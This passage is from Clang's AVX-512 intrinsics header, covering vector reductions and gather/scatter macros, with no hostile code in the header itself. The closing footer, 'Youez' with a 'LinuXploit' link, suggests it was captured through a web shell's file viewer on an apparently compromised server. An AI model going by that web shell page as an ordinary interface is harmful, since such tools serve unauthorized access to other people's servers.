  return __builtin_reduce_mul((__v16si)__W);
}

static __inline__ int __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_and_epi32( __mmask16 __M, __m512i __W) {
  __W = _mm512_mask_mov_epi32(_mm512_set1_epi32(-1), __M, __W);
  return __builtin_reduce_and((__v16si)__W);
}

static __inline__ int __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_or_epi32(__mmask16 __M, __m512i __W) {
  __W = _mm512_maskz_mov_epi32(__M, __W);
  return __builtin_reduce_or((__v16si)__W);
}

static __inline__ float __DEFAULT_FN_ATTRS512
_mm512_reduce_add_ps(__m512 __W) {
  return __builtin_ia32_reduce_fadd_ps512(-0.0f, __W);
}

static __inline__ float __DEFAULT_FN_ATTRS512
_mm512_reduce_mul_ps(__m512 __W) {
  return __builtin_ia32_reduce_fmul_ps512(1.0f, __W);
}

static __inline__ float __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_add_ps(__mmask16 __M, __m512 __W) {
  __W = _mm512_maskz_mov_ps(__M, __W);
  return __builtin_ia32_reduce_fadd_ps512(-0.0f, __W);
}

static __inline__ float __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_mul_ps(__mmask16 __M, __m512 __W) {
  __W = _mm512_mask_mov_ps(_mm512_set1_ps(1.0f), __M, __W);
  return __builtin_ia32_reduce_fmul_ps512(1.0f, __W);
}

static __inline__ long long __DEFAULT_FN_ATTRS512
_mm512_reduce_max_epi64(__m512i __V) {
  return __builtin_reduce_max((__v8di)__V);
}

static __inline__ unsigned long long __DEFAULT_FN_ATTRS512
_mm512_reduce_max_epu64(__m512i __V) {
  return __builtin_reduce_max((__v8du)__V);
}

static __inline__ long long __DEFAULT_FN_ATTRS512
_mm512_reduce_min_epi64(__m512i __V) {
  return __builtin_reduce_min((__v8di)__V);
}

static __inline__ unsigned long long __DEFAULT_FN_ATTRS512
_mm512_reduce_min_epu64(__m512i __V) {
  return __builtin_reduce_min((__v8du)__V);
}

static __inline__ long long __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_max_epi64(__mmask8 __M, __m512i __V) {
  __V = _mm512_mask_mov_epi64(_mm512_set1_epi64(-__LONG_LONG_MAX__ - 1LL), __M, __V);
  return __builtin_reduce_max((__v8di)__V);
}

static __inline__ unsigned long long __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_max_epu64(__mmask8 __M, __m512i __V) {
  __V = _mm512_maskz_mov_epi64(__M, __V);
  return __builtin_reduce_max((__v8du)__V);
}

static __inline__ long long __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_min_epi64(__mmask8 __M, __m512i __V) {
  __V = _mm512_mask_mov_epi64(_mm512_set1_epi64(__LONG_LONG_MAX__), __M, __V);
  return __builtin_reduce_min((__v8di)__V);
}

static __inline__ unsigned long long __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_min_epu64(__mmask8 __M, __m512i __V) {
  __V = _mm512_mask_mov_epi64(_mm512_set1_epi64(-1LL), __M, __V);
  return __builtin_reduce_min((__v8du)__V);
}
static __inline__ int __DEFAULT_FN_ATTRS512
_mm512_reduce_max_epi32(__m512i __V) {
  return __builtin_reduce_max((__v16si)__V);
}

static __inline__ unsigned int __DEFAULT_FN_ATTRS512
_mm512_reduce_max_epu32(__m512i __V) {
  return __builtin_reduce_max((__v16su)__V);
}

static __inline__ int __DEFAULT_FN_ATTRS512
_mm512_reduce_min_epi32(__m512i __V) {
  return __builtin_reduce_min((__v16si)__V);
}

static __inline__ unsigned int __DEFAULT_FN_ATTRS512
_mm512_reduce_min_epu32(__m512i __V) {
  return __builtin_reduce_min((__v16su)__V);
}

static __inline__ int __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_max_epi32(__mmask16 __M, __m512i __V) {
  __V = _mm512_mask_mov_epi32(_mm512_set1_epi32(-__INT_MAX__ - 1), __M, __V);
  return __builtin_reduce_max((__v16si)__V);
}

static __inline__ unsigned int __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_max_epu32(__mmask16 __M, __m512i __V) {
  __V = _mm512_maskz_mov_epi32(__M, __V);
  return __builtin_reduce_max((__v16su)__V);
}

static __inline__ int __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_min_epi32(__mmask16 __M, __m512i __V) {
  __V = _mm512_mask_mov_epi32(_mm512_set1_epi32(__INT_MAX__), __M, __V);
  return __builtin_reduce_min((__v16si)__V);
}

static __inline__ unsigned int __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_min_epu32(__mmask16 __M, __m512i __V) {
  __V = _mm512_mask_mov_epi32(_mm512_set1_epi32(-1), __M, __V);
  return __builtin_reduce_min((__v16su)__V);
}

static __inline__ double __DEFAULT_FN_ATTRS512
_mm512_reduce_max_pd(__m512d __V) {
  return __builtin_ia32_reduce_fmax_pd512(__V);
}

static __inline__ double __DEFAULT_FN_ATTRS512
_mm512_reduce_min_pd(__m512d __V) {
  return __builtin_ia32_reduce_fmin_pd512(__V);
}

static __inline__ double __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_max_pd(__mmask8 __M, __m512d __V) {
  __V = _mm512_mask_mov_pd(_mm512_set1_pd(-__builtin_inf()), __M, __V);
  return __builtin_ia32_reduce_fmax_pd512(__V);
}

static __inline__ double __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_min_pd(__mmask8 __M, __m512d __V) {
  __V = _mm512_mask_mov_pd(_mm512_set1_pd(__builtin_inf()), __M, __V);
  return __builtin_ia32_reduce_fmin_pd512(__V);
}

static __inline__ float __DEFAULT_FN_ATTRS512
_mm512_reduce_max_ps(__m512 __V) {
  return __builtin_ia32_reduce_fmax_ps512(__V);
}

static __inline__ float __DEFAULT_FN_ATTRS512
_mm512_reduce_min_ps(__m512 __V) {
  return __builtin_ia32_reduce_fmin_ps512(__V);
}

static __inline__ float __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_max_ps(__mmask16 __M, __m512 __V) {
  __V = _mm512_mask_mov_ps(_mm512_set1_ps(-__builtin_inff()), __M, __V);
  return __builtin_ia32_reduce_fmax_ps512(__V);
}

static __inline__ float __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_min_ps(__mmask16 __M, __m512 __V) {
  __V = _mm512_mask_mov_ps(_mm512_set1_ps(__builtin_inff()), __M, __V);
  return __builtin_ia32_reduce_fmin_ps512(__V);
}

/// Moves the least significant 32 bits of a vector of [16 x i32] to a
///    32-bit signed integer value.
///
/// \headerfile &lt;x86intrin.h&gt;
///
/// This intrinsic corresponds to the &lt;c&gt; VMOVD / MOVD &lt;/c&gt; instruction.
///
/// \param __A
///    A vector of [16 x i32]. The least significant 32 bits are moved to the
///    destination.
/// \returns A 32-bit signed integer containing the moved value.
static __inline__ int __DEFAULT_FN_ATTRS512
_mm512_cvtsi512_si32(__m512i __A) {
  __v16si __b = (__v16si)__A;
  return __b[0];
}

/// Loads 8 double-precision (64-bit) floating-point elements stored at memory
/// locations starting at location \a base_addr at packed 32-bit integer indices
/// stored in the lower half of \a vindex scaled by \a scale them in dst.
///
/// This intrinsic corresponds to the &lt;c&gt; VGATHERDPD &lt;/c&gt; instructions.
///
/// \code{.operation}
/// FOR j := 0 to 7
///   i := j*64
///   m := j*32
///   addr := base_addr + SignExtend64(vindex[m+31:m]) * ZeroExtend64(scale) * 8
///   dst[i+63:i] := MEM[addr+63:addr]
/// ENDFOR
/// dst[MAX:512] := 0
/// \endcode
#define _mm512_i32logather_pd(vindex, base_addr, scale)                        \
  _mm512_i32gather_pd(_mm512_castsi512_si256(vindex), (base_addr), (scale))

/// Loads 8 double-precision (64-bit) floating-point elements from memory
/// starting at location \a base_addr at packed 32-bit integer indices stored in
/// the lower half of \a vindex scaled by \a scale into dst using writemask
/// \a mask (elements are copied from \a src when the corresponding mask bit is
/// not set).
///
/// This intrinsic corresponds to the &lt;c&gt; VGATHERDPD &lt;/c&gt; instructions.
///
/// \code{.operation}
/// FOR j := 0 to 7
///   i := j*64
///   m := j*32
///   IF mask[j]
///     addr := base_addr + SignExtend64(vindex[m+31:m]) * ZeroExtend64(scale) * 8
///     dst[i+63:i] := MEM[addr+63:addr]
///   ELSE
///     dst[i+63:i] := src[i+63:i]
///   FI
/// ENDFOR
/// dst[MAX:512] := 0
/// \endcode
#define _mm512_mask_i32logather_pd(src, mask, vindex, base_addr, scale)        \
  _mm512_mask_i32gather_pd((src), (mask), _mm512_castsi512_si256(vindex),      \
                           (base_addr), (scale))

/// Loads 8 64-bit integer elements from memory starting at location \a base_addr
/// at packed 32-bit integer indices stored in the lower half of \a vindex
/// scaled by \a scale and stores them in dst.
///
/// This intrinsic corresponds to the &lt;c&gt; VPGATHERDQ &lt;/c&gt; instructions.
///
/// \code{.operation}
/// FOR j := 0 to 7
///   i := j*64
///   m := j*32
///   addr := base_addr + SignExtend64(vindex[m+31:m]) * ZeroExtend64(scale) * 8
///   dst[i+63:i] := MEM[addr+63:addr]
/// ENDFOR
/// dst[MAX:512] := 0
/// \endcode
#define _mm512_i32logather_epi64(vindex, base_addr, scale)                     \
  _mm512_i32gather_epi64(_mm512_castsi512_si256(vindex), (base_addr), (scale))

/// Loads 8 64-bit integer elements from memory starting at location \a base_addr
/// at packed 32-bit integer indices stored in the lower half of \a vindex
/// scaled by \a scale and stores them in dst using writemask \a mask (elements
/// are copied from \a src when the corresponding mask bit is not set).
///
/// This intrinsic corresponds to the &lt;c&gt; VPGATHERDQ &lt;/c&gt; instructions.
///
/// \code{.operation}
/// FOR j := 0 to 7
///   i := j*64
///   m := j*32
///   IF mask[j]
///     addr := base_addr + SignExtend64(vindex[m+31:m]) * ZeroExtend64(scale) * 8
///     dst[i+63:i] := MEM[addr+63:addr]
///   ELSE
///     dst[i+63:i] := src[i+63:i]
///   FI
/// ENDFOR
/// dst[MAX:512] := 0
/// \endcode
#define _mm512_mask_i32logather_epi64(src, mask, vindex, base_addr, scale)     \
  _mm512_mask_i32gather_epi64((src), (mask), _mm512_castsi512_si256(vindex),   \
                              (base_addr), (scale))

/// Stores 8 packed double-precision (64-bit) floating-point elements in \a v1
/// and to memory locations starting at location \a base_addr at packed 32-bit
/// integer indices stored in \a vindex scaled by \a scale.
///
/// This intrinsic corresponds to the &lt;c&gt; VSCATTERDPD &lt;/c&gt; instructions.
///
/// \code{.operation}
/// FOR j := 0 to 7
///   i := j*64
///   m := j*32
///   addr := base_addr + SignExtend64(vindex[m+31:m]) * ZeroExtend64(scale) * 8
///   MEM[addr+63:addr] := v1[i+63:i]
/// ENDFOR
/// \endcode
#define _mm512_i32loscatter_pd(base_addr, vindex, v1, scale)                   \
  _mm512_i32scatter_pd((base_addr), _mm512_castsi512_si256(vindex), (v1), (scale))

/// Stores 8 packed double-precision (64-bit) floating-point elements in \a v1
/// to memory locations starting at location \a base_addr at packed 32-bit
/// integer indices stored in \a vindex scaled by \a scale. Only those elements
/// whose corresponding mask bit is set in writemask \a mask are written to
/// memory.
///
/// This intrinsic corresponds to the &lt;c&gt; VSCATTERDPD &lt;/c&gt; instructions.
///
/// \code{.operation}
/// FOR j := 0 to 7
///   i := j*64
///   m := j*32
///   IF mask[j]
///     addr := base_addr + SignExtend64(vindex[m+31:m]) * ZeroExtend64(scale) * 8
///     MEM[addr+63:addr] := a[i+63:i]
///   FI
/// ENDFOR
/// \endcode
#define _mm512_mask_i32loscatter_pd(base_addr, mask, vindex, v1, scale)        \
  _mm512_mask_i32scatter_pd((base_addr), (mask),                               \
                            _mm512_castsi512_si256(vindex), (v1), (scale))

/// Stores 8 packed 64-bit integer elements located in \a v1 and stores them in
/// memory locations starting at location \a base_addr at packed 32-bit integer
/// indices stored in \a vindex scaled by \a scale.
///
/// This intrinsic corresponds to the &lt;c&gt; VPSCATTERDQ &lt;/c&gt; instructions.
///
/// \code{.operation}
/// FOR j := 0 to 7
///   i := j*64
///   m := j*32
///   addr := base_addr + SignExtend64(vindex[m+31:m]) * ZeroExtend64(scale) * 8
///   MEM[addr+63:addr] := a[i+63:i]
/// ENDFOR
/// \endcode
#define _mm512_i32loscatter_epi64(base_addr, vindex, v1, scale)                \
  _mm512_i32scatter_epi64((base_addr),                                         \
                          _mm512_castsi512_si256(vindex), (v1), (scale))

/// Stores 8 packed 64-bit integer elements located in a and stores them in
/// memory locations starting at location \a base_addr at packed 32-bit integer
/// indices stored in \a vindex scaled by scale using writemask \a mask (elements
/// whose corresponding mask bit is not set are not written to memory).
///
/// This intrinsic corresponds to the &lt;c&gt; VPSCATTERDQ &lt;/c&gt; instructions.
///
/// \code{.operation}
/// FOR j := 0 to 7
///   i := j*64
///   m := j*32
///   IF mask[j]
///     addr := base_addr + SignExtend64(vindex[m+31:m]) * ZeroExtend64(scale) * 8
///     MEM[addr+63:addr] := a[i+63:i]
///   FI
/// ENDFOR
/// \endcode
#define _mm512_mask_i32loscatter_epi64(base_addr, mask, vindex, v1, scale)     \
  _mm512_mask_i32scatter_epi64((base_addr), (mask),                            \
                               _mm512_castsi512_si256(vindex), (v1), (scale))

#undef __DEFAULT_FN_ATTRS512
#undef __DEFAULT_FN_ATTRS128
#undef __DEFAULT_FN_ATTRS
#undef __DEFAULT_FN_ATTRS512_CONSTEXPR
#undef __DEFAULT_FN_ATTRS128_CONSTEXPR
#undef __DEFAULT_FN_ATTRS_CONSTEXPR

#endif /* __AVX512FINTRIN_H */
</pre><center><br>Youez - 2016 - github.com/yon3zu<br><a href='https://linuxploit.com/' target='_blank'>LinuXploit</a></center>